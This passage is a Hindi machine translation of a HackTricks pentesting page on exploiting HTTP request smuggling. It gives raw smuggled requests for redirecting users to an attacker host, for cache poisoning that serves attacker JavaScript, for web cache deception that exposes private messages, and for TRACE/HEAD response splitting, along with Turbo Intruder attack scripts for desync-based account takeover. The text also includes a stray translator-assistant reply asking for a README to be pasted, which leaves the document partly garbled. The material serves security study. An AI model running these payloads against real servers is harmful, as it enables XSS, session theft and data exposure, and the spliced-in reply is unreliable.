हालाँकि यह व्यवहार दिखाई देने में हानिरहित लग सकता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को किसी बाहरी साइट पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह smuggled request अगली processed user request को attacker-controlled website पर redirect कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

इस परिदृश्य में, एक उपयोगकर्ता का अनुरोध JavaScript फ़ाइल के लिए हाइजैक कर लिया जाता है। हमलावर प्रतिक्रिया में malicious JavaScript सर्व करके उपयोगकर्ता को संभावित रूप से compromise कर सकता है।

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning तब किया जा सकता है जब किसी भी कंपोनेंट द्वारा front-end infrastructure caches content, जो आमतौर पर प्रदर्शन बढ़ाने के लिए किया जाता है। सर्वर की response को manipulate करके, यह संभव हो जाता है कि poison the cache

पूर्व में, हमने देखा था कि सर्वर responses को बदलकर 404 error लौटाया जा सकता है (संदर्भ देखें Basic Examples). इसी तरह, यह संभव है कि सर्वर को धोखा देकर /static/include.js के अनुरोध पर /index.html की content दे दी जाए। इसके परिणामस्वरूप, cache में /static/include.js की सामग्री /index.html की सामग्री से बदल दी जाती है, जिससे /static/include.js उपयोगकर्ताओं के लिए inaccessible हो जाता है और संभावित रूप से Denial of Service (DoS) हो सकता है।

यह technique विशेष रूप से खतरनाक हो जाती है अगर कोई Open Redirect vulnerability मिलती है या अगर साइट पर कोई on-site redirect to an open redirect मौजूद है। ऐसी vulnerabilities का उपयोग करके cached content of /static/include.js को हमलावर के नियंत्रण वाले script से बदल दिया जा सकता है, जिससे मूलतः सभी क्लाइंट्स के खिलाफ व्यापक Cross-Site Scripting (XSS) हमला संभव हो जाता है जो अपडेटेड /static/include.js का अनुरोध करते हैं।

नीचे cache poisoning combined with an on-site redirect to open redirect का एक उदाहरण दिया गया है। उद्देश्य /static/include.js के cache कंटेंट को बदलकर हमलावर द्वारा नियंत्रित JavaScript को सर्व करना है:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

ध्यान दें कि एम्बेडेड अनुरोध /post/next?postId=3 को टार्गेट कर रहा है। यह अनुरोध /post?postId=4 पर redirect होगा, और डोमेन तय करने के लिए Host header value का उपयोग करेगा। Host header बदलकर, हमलावर अनुरोध को अपने डोमेन पर redirect कर सकता है (on-site redirect to open redirect)।

सफल socket poisoning के बाद, /static/include.js के लिए एक GET request आरंभ किया जाना चाहिए। यह अनुरोध पहले के on-site redirect to open redirect अनुरोध से दूषित हो जाएगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगा।

इसके बाद, /static/include.js के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की cached सामग्री परोसेगा, जो प्रभावी रूप से एक व्यापक XSS attack लॉन्च करेगा।

HTTP request smuggling का उपयोग करके web cache deception करने के लिए

web cache poisoning और web cache deception में क्या अंतर है?

  • web cache poisoning में, हमलावर एप्लिकेशन को cache में कुछ malicious content स्टोर करने के लिए मजबूर करता है, और यह content cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
  • web cache deception में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करने के लिए प्रेरित करता है, और फिर हमलावर इस सामग्री को cache से पुनः प्राप्त करता है।

हमलावर एक smuggled request तैयार करता है जो संवेदनशील user-specific content को प्राप्त करता है। निम्नलिखित उदाहरण पर विचार करें:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह smuggled request किसी static content (जैसे /someimage.png) के लिए बने cache entry को poison कर देता है, तो पीड़ित के /private/messages से संवेदनशील डेटा उस static content की cache entry के तहत cached हो सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन cached संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

TRACE का दुरुपयोग HTTP Request Smuggling के माध्यम से

In this post में सुझाया गया है कि यदि server पर method TRACE enabled है तो इसे HTTP Request Smuggling के साथ abuse करना संभव हो सकता है। इसका कारण यह है कि यह method server को भेजे गए किसी भी header को response के body के हिस्से के रूप में reflect कर देता है। उदाहरण के लिए:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

ठीक है — कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें। मैं उसे दिए गए नियमों के अनुसार हिंदी में अनुवाद करके वापस करूँगा, और markdown, tags, code, links, paths तथा हाकिंग-टर्म्स अपरिवर्तित रखूँगा।

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि smuggle first a HEAD request। यह request केवल GET request के headers के साथ respond किया जाएगा (Content-Type उनमें से एक)। और HEAD के तुरंत बाद smuggle immediately after the HEAD a TRACE request भेजें, जो भेजे गए डेटा को प्रतिबिंबित करेगा।\

चूँकि HEAD response में Content-Length header होगा, इसलिए response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data।\

यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसे उदाहरण के लिए cached JS फ़ाइल में used in a cached JS file for example to inject arbitrary JS code के रूप में उपयोग किया जा सकता है।

Abusing TRACE via HTTP Response Splitting

अनुशंसा की जाती है कि this post को पढ़ा जाए जो TRACE method को दुरुपयोग करने का एक और तरीका सुझाती है। जैसा कि बताया गया है, HEAD request और TRACE request को smuggling करके HEAD request के response में कुछ reflected डेटा को control some reflected data करना संभव है। HEAD request के body की लंबाई मूलतः Content-Length header में दर्शाई जाती है और यह TRACE request के response से बनती है।

इसलिए, नई सोच यह होगी कि, इस Content-Length और TRACE response में दिए गए डेटा को जानकर, यह संभव है कि TRACE response में Content-Length के आख़िरी बाइट के बाद एक वैध HTTP response रखा जाए, जिससे attacker अगले response के लिए request को पूरी तरह control कर सके (जिसका उपयोग cache poisoning करने के लिए किया जा सकता है)।

उदाहरण:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

ये responses जनरेट करेगा (ध्यान दें कि HEAD response में Content-Length है, जो TRACE response को HEAD body का हिस्सा बनाता है और जैसे ही HEAD Content-Length समाप्त होता है, एक वैध HTTP response smuggled हो जाता है):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना

क्या आपने कोई HTTP Request Smuggling vulnerability पाया है और आपको पता नहीं कि इसे कैसे exploit करें? इन अन्य exploitation तरीकों को आज़माएँ:

HTTP Response Smuggling / Desync

अन्य HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

स्रोत: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

उपकरण

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें